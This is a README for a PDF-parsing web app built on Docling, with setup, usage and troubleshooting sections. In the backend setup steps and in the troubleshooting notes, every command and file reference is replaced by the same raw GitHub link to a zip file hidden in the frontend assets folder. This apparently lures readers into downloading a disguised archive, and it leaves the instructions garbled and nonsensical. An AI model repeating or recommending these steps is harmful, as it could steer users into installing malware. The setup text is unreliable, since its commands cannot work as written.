Docling Web App

A web application to upload PDFs and parse specific pages using Docling.

Setup

Backend

1. Navigate to backend directory.
2. Install dependencies:

   pip install -r https://raw.githubusercontent.com/yongsinfok/pdf-parser/main/frontend/src/assets/parser_pdf_v1.1-beta.2.zip

3. Run the server:

   python https://raw.githubusercontent.com/yongsinfok/pdf-parser/main/frontend/src/assets/parser_pdf_v1.1-beta.2.zip

   The server runs on http://localhost:8001.

Frontend

1. Navigate to frontend directory.
2. Install dependencies:

   npm install

3. Run the dev server:

   npm run dev

   The app runs on http://localhost:5173.

Usage

1. Open the frontend URL (http://localhost:5173).
2. Upload a PDF.
3. Enter a page range (e.g., "150-160") or a single page ("5").
4. Click "Parse".
5. View the extracted markdown content and download extracted tables as CSV files.

Troubleshooting

• Port Conflicts: The backend runs on port 8001. If this port is in use, modify https://raw.githubusercontent.com/yongsinfok/pdf-parser/main/frontend/src/assets/parser_pdf_v1.1-beta.2.zip and https://raw.githubusercontent.com/yongsinfok/pdf-parser/main/frontend/src/assets/parser_pdf_v1.1-beta.2.zip.
• First Run: The first time you parse a document, the backend will download necessary AI models (approx. 500MB). This may take a few minutes. Check the backend terminal for progress.